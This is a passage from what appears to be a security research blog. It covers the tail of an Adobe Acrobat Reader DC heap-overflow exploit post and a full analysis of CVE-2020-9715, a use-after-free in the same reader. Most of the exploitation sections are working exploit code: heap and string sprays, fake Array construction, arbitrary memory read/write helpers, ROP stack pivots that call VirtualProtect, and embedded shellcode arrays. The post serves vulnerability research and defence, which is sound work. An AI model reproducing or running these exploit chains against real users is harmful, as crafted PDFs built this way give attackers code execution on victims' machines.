        var distanceToBitmapBuffer = (chunkSize * chunkNumber) + 0x18 + 8;
        var bitmapBufferPtr = rw.getUint32(0xffffffff+0x1-distanceToBitmapBuffer, true);

        startAddr = bitmapBufferPtr + distanceToBitmapBuffer-4;
        return rw;
    }
    return rw;
}

The function above at [1] tries to locate the initial corrupted ArrayBuffer and leverages it to corrupt the adjacent ArrayBuffer. At [2] it tries to locate the recently corrupted ArrayBuffer and build the relative arbitrary read and write primitive by creating a DataView object on it. Finally, at [3] the aforementioned method of obtaining the absolute address of the origin of the relative read and write primitive is implemented.

Once the origin address of the read and write primitive is known it is possible to use the following helper functions to read and write to any address of the process that has mapped memory.

function readUint32(dataView, absoluteAddress) {
    var addrOffset = absoluteAddress - startAddr;
    if (addrOffset < 0) {
        addrOffset = addrOffset + 0xffffffff + 1;
    }
    return dataView.getUint32(addrOffset, true);
}

function writeUint32(dataView, absoluteAddress, data) {
    var addrOffset = absoluteAddress - startAddr;
    if (addrOffset < 0) {
        addrOffset = addrOffset + 0xffffffff + 1;
    }
    dataView.setUint32(addrOffset, data, true);
}

Spraying ArrayBuffer Objects

The heap spray technique performs a large number of controlled allocations with the intention of having adjacent regions of controllable memory. The key to obtaining adjacent memory regions is to make the allocations of a specific size.

In JavaScript, a convenient way of making allocations in the heap whose content is completely controlled is by using ArrayBuffer objects. The memory allocated with these objects can be read from and written to with the use of DataView objects.

In order to get the heap allocation of the right size the metadata of ArrayBuffer objects and heap chunks have to be taken into consideration. The internal representation of ArrayBuffer objects tells that the size of the metadata is 0x10 bytes. The size of the metadata of a busy heap chunk is 8 bytes.

Since the objective is to have adjacent memory regions filled with controlled data, the allocations performed must have the exact same size as the heap segment size, which is 0x10000 bytes. Therefore, the ArrayBuffer objects created during the heap spray must be of 0xffe8 bytes.

function sprayHeap() {
    var heapSegmentSize = 0x10000;

[1]

    heapSpray = new Array(0x8000);
    for (var i = 0; i < 0x8000; i++) {
        heapSpray[i] = new ArrayBuffer(heapSegmentSize-0x10-0x8);
        var tmpDv = new DataView(heapSpray[i]);
        tmpDv.setUint32(0, 0xdeadbabe, true);
    }
}

The exploit function listed above performs the ArrayBuffer spray. The total size of the spray defined in [1] was determined by setting a number high enough so an ArrayBuffer would be allocated at the selected predictable address defined by the stack pivot ROP gadget used.

These purpose of these allocations is to have a controllable memory region at the address were the stack is relocated after the execution of the stack pivoting. This area can be used to prepare the call to VirtualProtect to enable execution permissions on the memory page were the shellcode is written.

Hijacking the Execution Flow and Executing Arbitrary Code

With the ability to arbitrarily read and write memory, the next steps are preparing the shellcode, writing it, and executing it. The security mitigations present in the application determine the strategy and techniques required. ASLR and DEP force using Return Oriented Programming (ROP) combined with leaked pointers to the relevant modules.

Taking this into account, the strategy can be the following:

  1. Obtain pointers to the relevant modules to calculate their base addresses.
  2. Pivot the stack to a memory region under our control where the addresses of the ROP gadgets can be written.
  3. Write the shellcode.
  4. Call VirtualProtect to change the shellcode memory region permissions to allow  execution.
  5. Overwrite a function pointer that can be called later from JavaScript.

The following functions are used in the implementation of the mentioned strategy.

[1]

function getAddressLeaks(rw) {
    var dataViewObjPtr = rw.getUint32(0xffffffff+0x1-0x8, true);

    var escriptAddrDelta = 0x275518;
    var escriptAddr = readUint32(rw, dataViewObjPtr+0xc) - escriptAddrDelta;

    var kernel32BaseDelta = 0x273eb8;
    var kernel32Addr = readUint32(rw, escriptAddr + kernel32BaseDelta);

    return [escriptAddr, kernel32Addr];
}
 
[2]

function prepareNewStack(kernel32Addr) {

    var virtualProtectStubDelta = 0x20420;
    writeUint32(rw, newStackAddr, kernel32Addr + virtualProtectStubDelta);

    var shellcode = [0x0082e8fc, 0x89600000, 0x64c031e5, 0x8b30508b, 0x528b0c52, 0x28728b14, 0x264ab70f, 0x3cacff31,
        0x2c027c61, 0x0dcfc120, 0xf2e2c701, 0x528b5752, 0x3c4a8b10, 0x78114c8b, 0xd10148e3, 0x20598b51,
        0x498bd301, 0x493ae318, 0x018b348b, 0xacff31d6, 0x010dcfc1, 0x75e038c7, 0xf87d03f6, 0x75247d3b,
        0x588b58e4, 0x66d30124, 0x8b4b0c8b, 0xd3011c58, 0x018b048b, 0x244489d0, 0x615b5b24, 0xff515a59,
        0x5a5f5fe0, 0x8deb128b, 0x8d016a5d, 0x0000b285, 0x31685000, 0xff876f8b, 0xb5f0bbd5, 0xa66856a2,
        0xff9dbd95, 0x7c063cd5, 0xe0fb800a, 0x47bb0575, 0x6a6f7213, 0xd5ff5300, 0x636c6163, 0x6578652e,
        0x00000000]


[3]

    var shellcode_size = shellcode.length * 4;
    writeUint32(rw, newStackAddr + 4 , startAddr);
    writeUint32(rw, newStackAddr + 8, startAddr);
    writeUint32(rw, newStackAddr + 0xc, shellcode_size);
    writeUint32(rw, newStackAddr + 0x10, 0x40);
    writeUint32(rw, newStackAddr + 0x14, startAddr + shellcode_size);

[4]

    for (var i = 0; i < shellcode.length; i++) {
        writeUint32(rw, startAddr+i*4, shellcode[i]);
    }

}

function hijackEIP(rw, escriptAddr) {
    var dataViewObjPtr = rw.getUint32(0xffffffff+0x1-0x8, true);

    var dvShape = readUint32(rw, dataViewObjPtr);
    var dvShapeBase = readUint32(rw, dvShape);
    var dvShapeBaseClasp = readUint32(rw, dvShapeBase);

    var stackPivotGadgetAddr = 0x2de29 + escriptAddr;

    writeUint32(rw, dvShapeBaseClasp+0x10, stackPivotGadgetAddr);

    var foo = rw.execFlowHijack;
}

In the code listing above, the function at [1] obtains the base addresses of the EScript.api and kernel32.dll modules, which are the ones required to exploit the vulnerability with the current strategy. The function at [2] is used to prepare the contents of the relocated stack, so that once the stack pivot is executed everything is ready. In particular, at [3] the address to the shellcode and the parameters to VirtualProtect are written. The address to the shellcode corresponds to the return address that the ret instruction of the VirtualProtect will restore, redirecting this way the execution flow to the shellcode. The shellcode is written at [4].

Finally, at [5] the getProperty function pointer of a DataView object under control is overwritten with the address of the ROP gadget used to pivot the stack, and a property of the object is accessed which triggers the execution of getProperty.

The stack pivot gadget used is from the EScript.api module, and is listed below:

0x2382de29: mov esp, 0x5d0013c2; ret;

When the instructions listed above are executed, the stack will be relocated to 0x5d0013c2 where the previously prepared allocation would be.

Conclusion

We hope you enjoyed reading this analysis of a heap buffer-overflow and learned something new. If you’re hungry for more, go and checkout our other blog posts!

The post Analysis of a Heap Buffer-Overflow Vulnerability in Adobe Acrobat Reader DC appeared first on Exodus Intelligence.

Analysis of a use-after-free Vulnerability in Adobe Acrobat Reader DC

20 April 2021 at 17:11

By Sergi Martinez

This post analyses CVE-2020-9715, a use-after-free vulnerability affecting several versions of the Adobe Acrobat and Adobe Acrobat Reader products. The vulnerability was discovered by Mark Vincent Yason, who reported it to the Zero Day Initiative (ZDI) disclosure program.

This research was inspired by a detailed blog post by ZDI that analyzed the vulnerability. The exploitation broadly follows the steps outlined in the ZDI blog post, but describes the vulnerability and exploitation steps in more detail.

Overview

A use-after-free vulnerability affects the data ESObject cache within the EScript.api module of Adobe Acrobat Reader DC. Although objects may be added to the cache using keys with ANSI or Unicode strings, objects are evicted from the cache by keys that contain only Unicode strings. This enables an attacker to cause a data ESObject to be freed, but its pointer to remain intact in the object cache entry. When the same JavaScript object is later accessed, its cache entry is found despite the corresponding data ESObject having been freed. This leads to a use-after-free condition. An attacker can exploit this vulnerability to achieve code execution by enticing a user to open a crafted PDF file.

The vulnerability analysis that follows is based on Adobe Acrobat Reader DC version 2020.009.20063 running on Windows 10 64-bit.

CVE-2020-9715

Before we dive into the vulnerability, we need to understand how embedded JavaScript is handled by Adobe Reader.

Adobe Reader has a built-in JavaScript engine based on Mozilla’s SpiderMonkey. Embedded JavaScript code in PDF files is processed and executed by the EScript.api module in Adobe Reader.

The Adobe Reader JavaScript engine uses several types of objects including ESObjects and JSObjects. ESObjects are internal to the EScript.api module and contain a pointer to the classical JavaScript objects, JSObjects.

Several kinds of ESObjects exist and among them is the data ESObject, which is a type of object used to represent embedded files and data streams. data ESObjects are uniquely identified by a key (referred to as cache_key in this post) that contains:

  • A pointer to a PDDoc object, which is an object that represents the PDF document.
  • The name of the data ESObject that is an ANSI or Unicode string containing the name of the embedded file.

References to data ESObjects are stored in a cache indexed by cache_key. When a new data ESObject is constructed with a certain name, a cache_key object is constructed with that name and is used to search the cache for the presence of the data ESObject that matches the name. If the search is a cache hit, a pointer to the data ESObject is returned. Otherwise, a new data ESObject is created and stored in the cache, and a pointer to it is returned.

The vulnerability occurs due to a mismatch in the encoding of the name string during the construction of cache_key used in the insertion and deletion phases in the lifecycle of a data ESObject. When a data ESObject is created and added to the cache, the name used in the cache_key retains the original encoding (ANSI or Unicode) found in the PDF document.

When a data ESObject is deleted from the cache, the name used in the cache_key is always encoded in Unicode. This leads to a condition where cache entries for data ESObject with ANSI names are never purged from cache; instead the cache entries retain pointers to freed data ESObjects indefinitely.

If an ANSI data ESObject is thus freed, and the code tries to create a new data ESObject with a matching name (e.g., when JavaScript code deletes this.dataObjects[0] and then accesses this.dataObjects[0]), a cache hit occurs but the pointer returned is the pointer to the ANSI-named data ESObject that was previously freed. This leads to an exploitable use-after-free condition.

Code Analysis

Lets take a look at how these objects are represented under the hood, and examine where the bug exists. Code listings show decompiled C code; source code is not available in the affected product. Structure definitions, function names, etc. are obtained by reverse engineering and may not accurately reflect those defined in the source code.

Structure Definitions

The cache mechanism is implemented with the use of a variant of Binary Search Trees. A pointer to the cache is kept in a global variable at EScript+0x273AAC, which points to a structure (named here as esobject_cache_st) defined as follows:

typedef struct esobject_cache_st {
  bst_node *root_node;
  int      *node_count;
  void     *unkonw;
} esobject_cache;

typedef struct bst_node_st {
  bst_node  *left;
  bst_node  *parent;
  bst_node  *right;
  int       node_type;
  cache_key *key;
  void      *esobject;
} bst_node;

A pointer to the cache_key structure is stored within each node in the cache. The cache_key structure is defined as follows:

typedef struct cache_key_st {
  void *pddoc;
  ESString *name;
} cache_key;

The cache_key structure contains the name of the embedded file in the form of an ESString structure, which is defined as follows:

typedef struct esstring_st {
  int  type;
  char *buffer;
  int  len;
  int  max_capacity;
  void *unknown1;
  void *unknown2;
} ESString;

In the structure above, the buffer member is a pointer to the string encoded in the format specified in the type member (1 for ANSI, 2 for Unicode). Its length is defined by the len member and the maximum capacity of the buffer is indicated by max_capacity. In Unicode ESString objects the buffer encoding is UTF-16 with Byte Order Mark (BOM).

Comparing Cache Keys

Any operation that requires traversing the tree require a key comparison function. This function is implemented at EScript+0x90770 and its code is listed below.

bool is_key_greater(cache_key *key1, cache_key *key2)
{
  ESString *data_object_name_from_cache;
  ESString *data_object_name;

[1]

  if ( a1->pddoc != key->pddoc )
    return a1->pddoc < (unsigned int)key->pddoc;
  name2 = key2->name;
  name1 = key1->name;
  return esstrings_compare(&name1, &name2);
}

The function first checks whether the keys belong to the same PDF document [1]. If they belong to the same PDF document then it proceeds to compare the names of the keys, which are ESString objects.

The ESString comparison function (implemented at EScript+0x45B07) is listed below.

bool esstrings_compare(ESString **name1, ESString **name2)
{
  ESString *type1;
  ESString *type2;
  bool v4;

  type1 = get_ESString_type(*name1);
  type2 = get_ESString_type(*name2);

[2]

  if ( type1 == type2 )
    v4 = (sub_23845B5E(*name1, *name2) & 0x8000u) != 0;
  else
    v4 = (int)type1 < (int)type2;
  return v4;
}

Relevant to this vulnerability is that at [2] there is a check that compares the ESString types. If they differ, the result of the function is true if type1 is less than type2. For example, when comparing two keys with the same name of different types where type1 is ANSI (1) and type2 is Unicode (2), the esstrings_compare function returns true.

When performing a lookup in the data ESObject cache, the function that implements it (EScript+0x90476) considers keys with the same name but different ESString types as different.

Deleting Cache Entries

When a data ESObject is freed, the corresponding cache entry that stores a pointer to the object is also freed. The ESObject deletion is implemented in the function at EScript+0x907B0, which is listed below.

__int16 delete_object(int a1)
{
  int v1;
  ESString *v2;
  wchar_t *v3;
  wchar_t *v4;
  esobject_cache_struct *cache_ptr;
  cache_key key;
  int v8[3];
  int v9;

  v1 = sub_23858B70(a1);

[1]

  v2 = (ESString *)sub_23844B00(a1, "DataObject");
  v3 = (wchar_t *)v2;
  if ( v1 )
  {
    if ( !v2 )
      return 1;
    v4 = (wchar_t *)get_dataobject_name(v2);
    v8[0] = (int)v4;
    v9 = 0;
    key.doc = v1;
    sub_23877D42(&key.name, (ESString **)v8);
    LOBYTE(v9) = 1;
    cache_ptr = initialize_data_esobject_cache(global_cache_ptr);

[2]

    remove_key_from_cache(cache_ptr, &key);
    LOBYTE(v9) = 2;
    if ( key.name )
      sub_23845AAE((wchar_t *)key.name);
    v9 = 3;
    if ( v4 )
      sub_23845AAE(v4);
    v9 = -1;
  }
  if ( v3 )
    sub_23845AAE(v3);
  return 1;
}

The call at [1] returns a pointer to an ESString object used to create the cache_key object. This is passed to the function that removes cache nodes matching the cache_key object at [2].

The vulnerability occurs because [1] returns a pointer to an ESString object whose type is always Unicode (ESString.type = 2). However, the ESString value of the keys stored in the cache nodes keeps the type that was used in the definition of the data object in the PDF file. If that name was defined as an ANSI string in the PDF file, the cache key would also be ANSI (ESString.type = 1).

Any lookup for a cache entry whose name was defined with an ANSI ESString is never found, since the created cache key used for the lookup is always a Unicode ESString. This prevents the cache node from being removed, leaving a stale pointer to the corresponding ESObject that is freed.

Accessing Deleted Objects

When the data ESObject cache contains entries that were not removed due to the ESString type mismatch problem, any attempt to access the freed object from JavaScript retrieves the stale pointer corresponding to that entry. Therefore, any operation on that pointer causes an access to memory that was already freed, triggering the use-after-free.

The function listed below handles accesses to data ESObjects and is implemented at EScript+0x929F0.

__int16 accessDataObjects(int a1, int a2, int a3)
{
  wchar_t *v3;
  int v5;
  int v6;
  int v7;
  ESString *v8;
  int v9;
  bool v10;
  wchar_t *v11;
  int v12;
  int freed_object_retrieved;
  int v14;
  int v15[3];
  wchar_t *v16;
  wchar_t *v17;
  wchar_t *v18;
  int v19;
  int v20;

  v3 = (wchar_t *)sub_23858B70(a1);
  v16 = v3;
  if ( !v3 )
    return sub_238AB500(a1, a2, 0, 14, 0);
  v17 = (wchar_t *)sub_238401C0((int *)a1);
  v5 = sub_2387DC8A(v3, v14);
  v6 = v5;
  v7 = 0;
  if ( v5 )
    v18 = (wchar_t *)custom_calloc(v5, 4);
  else
    v18 = 0;
  v8 = new_esstring(0, 1);
  v15[2] = (int)v8;
  v20 = 0;
  v9 = 0;
  v19 = 0;
  v10 = v6 == 0;
  if ( v6 > 0 )
  {
    v11 = v18;
    _mm_lfence();
    do
    {
      sub_2387DB6D(v16, v9, (int)v8);
      v12 = sub_2383D040(v17, 1);
      *(_DWORD *)&v11[2 * v19] = v12;
      v15[0] = (int)v16;

[1]

      v15[1] = get_ESString_buffer(v8);

[2]

      freed_object_retrieved = sub_23882310(v17, "Data", (wchar_t *)v15);

[3]

      sub_2383D430(*(int **)&v11[2 * v19], freed_object_retrieved);
      v9 = v19 + 1;
      v19 = v9;
    }
    while ( v9 < v6 );
    v7 = 0;
    v10 = v6 == 0;
  }
  if ( !v10 )
    v7 = sub_2385CE40(v17, v18, v6, 1);
  sub_2383D430((int *)a3, v7);
  if ( v6 )
    (*(void (__cdecl **)(wchar_t *))(dword_23A7538C + 12))(v18);
  v20 = 1;
  if ( v8 )
    sub_23845AAE((wchar_t *)v8);
  return 1;
}

The call at [1] triggers the creation of data ESObjects based on the data object name retrieved at [2]. This causes a cache lookup that returns the ESObject pointer of the corresponding cache entry that is then used in the call at [3].

Exploitation

We’ll now walk through how this vulnerability can be exploited to achieve arbitrary code execution. The following exploit is designed for Adobe Acrobat Reader DC version 2020.009.20063 running on Windows 10 x64.

A successful exploit strategy needs to bypass the following security mitigations on the target:

  • Address Space Layout Randomization (ASLR)
  • Data Execution Prevention (DEP)
  • Control Flow Guard (CFG)

In order to bypass all three mitigations, the following exploitation strategy is adopted:

  1. Spray a large number of ArrayBuffer objects with the correct size so they are adjacent to each other. The sprayed ArrayBuffer objects must contain a crafted fake Array object that is used to corrupt the adjacent ArrayBuffer.byteLength field (step 6).
  2. Prime the Low Fragmentation Heap (LFH) for size 0x48 (the size of the freed ESObject).
  3. Create and free the target ESObject.
  4. Spray crafted strings to allocate memory in the address used by the freed ESObject. The crafted string must contain a pointer to a predictable address where one of the fake Array objects created in step 1 would be.
  5. Trigger the ESObject reuse to obtain a handle to the fake Array in the exploit JavaScript code.
  6. Use the fake Array handle obtained in step 5 to write past the underlying ArrayBuffer boundaries and overwrite the byteLength field of the adjacent ArrayBuffer with the value 0xffffffff. This, combined with the creation of a DataView object on the corrupted ArrayBuffer allows reading from and writing to arbitrary memory addresses.
  7. Use the arbitrary read and write to write the ROP chain and shellcode.
  8. Overwrite a function pointer of the fake Array object and trigger its call to hijack the execution flow.

The following sub-sections break down the exploit code with explanations for better understanding.

Spraying ArrayBuffer Objects

When dealing with the heap, the addresses of allocations are not consistent between executions and thus can not be hardcoded into the exploit. In order to be able to place controlled memory regions in predictable addresses the internals of the memory manager have to be leveraged.

The heap spray technique performs a large number of controlled allocations with the intention of having adjacent regions of controllable memory. The key to obtaining adjacent memory regions is to make the allocations of a specific size.

In JavaScript, a convenient way of making allocations in the heap whose content is completely controlled is by using ArrayBuffer objects. The memory allocated with these objects can be read from and written to with the use of DataView objects.

In order to get a heap allocation of the right size the metadata of ArrayBuffer objects and heap chunks have to be taken into consideration. The internal representation of ArrayBuffer objects tells that the size of the metadata is 0x10 bytes. The size of the metadata of a busy heap chunk is 8 bytes.

Since the objective is to have adjacent memory regions filled with controlled data, the allocations performed must have the exact same size as the heap segment size, which is 0x10000 bytes. Therefore, the ArrayBuffer objects created during the heap spray must be of 0xffe8 bytes.

var SHIFT_ALIGNMENT = 4;
var FAKE_ARRAY_JSOBJ_ADDR = 0x40000058 + SHIFT_ALIGNMENT;
var HEAP_SEGMENT_SIZE = 0x10000
var ARRAY_BUFFER_SZ = HEAP_SEGMENT_SIZE-0x10-0x8

[1]

var arrayBufferSpray = new Array(0x8000);

function sprayArrayBuffers() {

    // Spray a large number of ArrayBuffers containing crafted data (a fake array)
    // so we end up with a fake JS array object at FAKE_ARRAY_JSOBJ_ADDR

    for (var i = 0; i < arrayBufferSpray.length; i++) {
        arrayBufferSpray[i] = new ArrayBuffer(ARRAY_BUFFER_SZ);
        var dv = new DataView(arrayBufferSpray[i]);


[2]

        // ArrayObject.shape_
        dv.setUint32(SHIFT_ALIGNMENT+0, FAKE_ARRAY_JSOBJ_ADDR+0x10, true);

        // ArrayObject.type_
        dv.setUint32(SHIFT_ALIGNMENT+4, FAKE_ARRAY_JSOBJ_ADDR+0x40, true);

        // ArrayObject.elements_
        dv.setUint32(SHIFT_ALIGNMENT+0xc, FAKE_ARRAY_JSOBJ_ADDR+0x80, true);

        // ArrayObject.shape_.base_
        dv.setUint32(SHIFT_ALIGNMENT+0x10, FAKE_ARRAY_JSOBJ_ADDR+0x20, true);

        // ArrayObject.shape_.base_.flags
        dv.setUint32(SHIFT_ALIGNMENT+0x20+0x10, 0x1000, true);

        // ArrayObject.type_.classp
        dv.setUint32(SHIFT_ALIGNMENT+0x40, FAKE_ARRAY_JSOBJ_ADDR+0x40+0x10, true);

        // ArrayObject.type_.classp.enumerate
        dv.setUint32(SHIFT_ALIGNMENT+0x40+0x10+0x1c, 0xdead1337, true);

        // ArrayObject.elements_.flags
        dv.setUint32(SHIFT_ALIGNMENT+0x80-0x10, 0, true);

        // ArrayObject.elements_.initializedLength
        dv.setUint32(SHIFT_ALIGNMENT+0x80-0x10+4, 0xffff, true);

        // ArrayObject.elements_.capacity
        dv.setUint32(SHIFT_ALIGNMENT+0x80-0x10+8, 0xffff, true);

        // ArrayObject.elements_.length
        dv.setUint32(SHIFT_ALIGNMENT+0x80-0x10+0xc, 0xffff, true);
    }
}

The exploit function listed above performs the ArrayBuffer spray. The total size of the spray defined in [1] was determined by setting a number high enough so an ArrayBuffer would be allocated at the selected predictable address defined by the FAKE_ARRAY_OBJ_ADDR global variable.

Each of the sprayed ArrayBuffer objects contain a crafted fake Array object [2]. To craft a fake Array objects not all the internal structures need to be provided. However, there are some important values that need to be chosen carefully:

  • Elements.initializedLength: The number of elements that have been initialized.
  • Elements.capacity: The number of allocated slots.
  • Elements.length: The length property of Array objects.

When the use-after-free condition is triggered, operations on the crafted Array object (set as values of the sprayed the ArrayBuffer object) include reading and writing to the Array. The eventual goal is to corrupt the byteLength field of an ArrayBuffer object (which is a well-known method to obtain a read and write primitive). By ensuring that the crafted Array object allows writing past the boundaries of the underlying ArrayBuffer object and into an adjacent ArrayBuffer, the adjacent ArrayBuffer can be desirably corrupted. Therefore, the values of the Array object properties need to be bigger than number of bytes that separate the start of the array from the next ArrayBuffer metadata.

Priming the Low Fragmentation Heap

The size of the object that is freed in this vulnerability is of 0x48 bytes (the size of an ESObject). Allocations with this size are likely to end up being handled by the Low Fragmentation Heap (LFH) if enough consecutive allocations of that size are performed.

In order to be able to allocate into the addresses of the freed ESObject, it is good to make sure that the object is handled by the LFH in order to reduce the possibility of the application uncontrollably allocating into that spot.

var lfhPrime = new Array(0x1000);

function primeLFH() {

    // Activate the LFH bucket for size 0x48 (real chunk size is 0x50) and help improve determinism.
    // We want the allocation of the UAFed object to fall in the LFH so we can claim its freed chunk more or less reliably.

[1]

    var baseString = "Prime the LFH!".repeat(100);
    for (var i = 0; i < lfhPrime.length; i++) {
        lfhPrime[i] = baseString.substring(0, 0x48 / 2 - 1).toUpperCase();
    }

[2]

    for (var i = 0; i < lfhPrime.length; i+=2) {
        lfhPrime[i] = null;
    }
}

The function listed above performs multiple allocations of size 0x48 [1] in order to activate the LFH bucket for that size. Activating the LFH for a specific size requires at least 0x11 consecutive allocations. However, since the application might require allocations of that specific size for other uses, some of the allocations are freed to reduce the possibility of it allocating into the freed ESObject spot [2].

Creating and Freeing the Vulnerable Object

Once the memory is laid out the ESObject has to be created, added into the cache, and then freed.

[1]

this.dataObjects[0].toString();

[2]

this.dataObjects[0] = null;

[3]

g_timeout = app.setTimeOut("triggerUAF()", 1000);

In the code listing above, [1] triggers the creation of the data ESObject that is stored in the object cache. Then, [2] removes the reference to it so when the Garbage Collector is triggered in [3] the ESObject is freed.

Allocating Into the Freed Spot

At this point the heap has been curated for allocation into the freed ESObject spot. To do so, a large number of allocations of size 0x48 have to be performed in order to have a chance of one landing into that spot.

[1]

var stringSpray = new Array(0x2000);

function sprayStrings() {
    // Spray strings of size 0x48/2-1 in order to eventually allocate into the spot left by the freed chunk
    var baseString = unescape(toUnescape(FAKE_ARRAY_JSOBJ_ADDR).repeat(0x48));
    for (var i = 0; i < stringSpray.length; i++) {
        stringSpray[i] = baseString.substring(0, 0x48 / 2 - 1).toLowerCase();
    }
}

The allocations are performed with a spray of the size defined at [1]. The value for this size is the double of the size selected for priming the LFH to make sure to fill the free spots left and also the ESObject spot.

The object used in the spray is a string, as it allows an easy control of the size and contents without any metadata overhead. The contents of the string is the unescaped value of the address where a fake Array object is expected to have been allocated during the initial ArrayBuffer spray. The unescape function is used to deal with Unicode transformation.

Achieving Arbitrary Read and Write

Once the predictable address occupies the spot in memory left by the freed ESObject and points to the fake Array object, an access to the data object provides a handle to that fake Array object that can be used as a normal Array. This can be achieved with the following line of code:

var fakeArrObj = this.dataObjects[0]

By carefully choosing the element of the fake Array to assign a value to, the adjacent ArrayBuffer can be corrupted. The interesting value to corrupt is the byteLength property. Following the byteLength field, the next value in memory is a pointer to the DataView object associated to the ArrayBuffer. It is important to take into account that this value can only be either a valid pointer or zero.

function getArbitraryRW(fakeArrObj) {
    var corruptedArrayBuffer = null;

[1]

    var nextABByteLengthOffset = ARRAY_BUFFER_SZ-0x10-0x70+0x8;
    fakeArrObj[nextABByteLengthOffset / 8] = 2.12199579047120666927013567069E-314;

[2]

    fakeArrObj[0] = this.addField("t", "text", 0, [0, 0, 0, 0 ]);
    fakeArrObj[0].value = "dummy1337w00t";

[3]

    for (var i = 0; i < arrayBufferSpray.length; i++) {
        if (arrayBufferSpray[i].byteLength == -1) {
            corruptedArrayBuffer = arrayBufferSpray[i];
        }
    }

[4]

    return new DataView(corruptedArrayBuffer);
}

In the code listing above, the byteLength value of the adjacent ArrayBuffer object is overwritten [1]. The integer value used translates to 0xFFFFFFFF 0x00000000 in memory due to the IEEE 754 representation for double values.

Aside from the ArrayBuffer corruption, a text field is created and assigned to the fake Array [2]. This is later used to leak a pointer to the AcroForm.api module, which is used to leak the icucnv58.dll module base address.

The next step is to locate the corrupted ArrayBuffer by checking the size of all the allocated buffers [3]. Finally, creating a DataView on the corrupted ArrayBuffer allows to read from and write to arbitrary memory addresses, since the size of the ArrayBuffer was set to 0xffffffff. However, the addresses specified when reading or writing memory are relative to the address where the corrupted ArrayBuffer is located. For convenience, the following helper functions were created to read and write memory using absolute addresses.

function readUint32(dataView, absoluteAddress) {
    var startAddr = FAKE_ARRAY_JSOBJ_ADDR-SHIFT_ALIGNMENT+HEAP_SEGMENT_SIZE;
    var addrOffset = absoluteAddress - startAddr;
    if (addrOffset < 0) {
        addrOffset = addrOffset + 0xffffffff + 1;
    }
    return dataView.getUint32(addrOffset, true);
}

function writeUint32(dataView, absoluteAddress, data) {
    var startAddr = FAKE_ARRAY_JSOBJ_ADDR-SHIFT_ALIGNMENT+HEAP_SEGMENT_SIZE;
    var addrOffset = absoluteAddress - startAddr;
    if (addrOffset < 0) {
        addrOffset = addrOffset + 0xffffffff + 1;
    }
    dataView.setUint32(addrOffset, data, true);
}

Writing and Executing the ROP Chain

The security mitigations present in the application determine the strategy and techniques required. ASLR and DEP force using Return Oriented Programming (ROP) combined with leaked pointers to the relevant modules. CFG forbids redirecting the execution flow via pointer overwrite to arbitrary addresses.

One way of bypassing the CFG restrictions is to redirect the execution flow to a module that was not built with CFG enabled. Adobe Acrobat Reader DC ships with some modules that do not have CFG enabled. The most convenient one for the current exploit is icucnv58.dll. Its large size (plenty of options for ROP gadgets) and the fact that it gets loaded at runtime if text fields are used (this module offers functions to handle Unicode data) makes it a perfect candidate.

Taking this into account, the strategy can be the following:

  1. Obtain pointers to the relevant modules to calculate their base addresses.
  2. Pivot the stack to a memory region under our control where the addresses of the ROP gadgets can be written.
  3. Write the shellcode.
  4. Call VirtualProtect to change the shellcode memory region permissions to allow execution.
  5. Overwrite a function pointer that can be called later from JavaScript.

The following code implements the mentioned strategy:

function writePayload(dv) {

[1]

    var escriptAddrDelta = 0x275528;
    var fakeArrObjElementsPtr = readUint32(dv, FAKE_ARRAY_JSOBJ_ADDR+0xC);
    var escriptBaseAddr = readUint32(dv, readUint32(dv, fakeArrObjElementsPtr)+0xc) - escriptAddrDelta;

[2]

    var acroFormAddrDelta = 0x2827d0;
    var acroFormBaseAddr = readUint32(dv, readUint32(dv, readUint32(dv, fakeArrObjElementsPtr)+0x10)+0x34) - acroFormAddrDelta;

[3]

    var icucnv58AddrDelta = 0xc3ad8c;
    var icucnv58BaseAddr = readUint32(dv, readUint32(dv, acroFormBaseAddr+icucnv58AddrDelta)+0x10);

[4]

    var kernel32BaseAddr = readUint32(dv, escriptBaseAddr+0x273ED0);

[5]

    // Stack pivot
    //    0x95907: mov esp, 0x59000008; ret;
    var stackPivot = icucnv58BaseAddr+0x95907;

[6]

    var virtualProtectStubDelta = 0x20420;
    writeUint32(dv, 0x59000008, kernel32BaseAddr+virtualProtectStubDelta);

[7]

    // VirtualProtect parameters
    writeUint32(dv, 0x59000008+4, SHELLCODE_ADDR);
    writeUint32(dv, 0x59000008+8, SHELLCODE_ADDR);
    writeUint32(dv, 0x59000008+12, SHELLCODE_BUFFER_SZ);
    writeUint32(dv, 0x59000008+16, 0x40);
    writeUint32(dv, 0x59000008+20, fakeArrObjElementsPtr+0x8);

    // Write the shellcode
    shellcode = [0x0082e8fc, 0x89600000, 0x64c031e5, 0x8b30508b, 0x528b0c52, 0x28728b14, 0x264ab70f, 0x3cacff31,
    0x2c027c61, 0x0dcfc120, 0xf2e2c701, 0x528b5752, 0x3c4a8b10, 0x78114c8b, 0xd10148e3, 0x20598b51,
    0x498bd301, 0x493ae318, 0x018b348b, 0xacff31d6, 0x010dcfc1, 0x75e038c7, 0xf87d03f6, 0x75247d3b,
    0x588b58e4, 0x66d30124, 0x8b4b0c8b, 0xd3011c58, 0x018b048b, 0x244489d0, 0x615b5b24, 0xff515a59,
    0x5a5f5fe0, 0x8deb128b, 0x8d016a5d, 0x0000b285, 0x31685000, 0xff876f8b, 0xb5f0bbd5, 0xa66856a2,
    0xff9dbd95, 0x7c063cd5, 0xe0fb800a, 0x47bb0575, 0x6a6f7213, 0xd5ff5300, 0x636c6163, 0x00000000]

[8]

    for (var i = 0; i < shellcode.length; i++) {
        writeUint32(dv, SHELLCODE_ADDR+i*4, shellcode[i]);
    }

[9]

    // Overwrite the fake array ArrayObject.type_.classp.enumerate pointer to achieve EIP control
    writeUint32(dv, FAKE_ARRAY_JSOBJ_ADDR+0x40+0x10+0x1c, stackPivot);
}

In the code listing above, at [1], [2], [3], and [4] the base addresses of the EScript.api, AcroForm.api, icucnv58.dll, and Kernel32.dll modules are obtained. At [5] the address to the stack pivot gadget is calculated. The function pointer selected to hijack the execution flow does not allow controlling any other CPU register, so the stack pivot gadget selected (mov esp, 0x59000008; ret) relocates the stack to 0x59000008, where the address of the VirtualProtect function [6] and the parameters passed to it are written [7]. Finally, the shellcode is written [8] and the fake Array object internal pointer ArrayObject.type_.classp.enumerate is overwritten with the address of the stack pivot gadget [9].

The last step is to trigger the execution of the ROP chain by assigning a value to an nonexistent property of the fake Array object. This would call the internal enumerate function as it should define all the lazy properties not yet reflected in the object. This can be done with the following line of code:

fakeArrObj.triggerRopchain = 2;

Conclusion

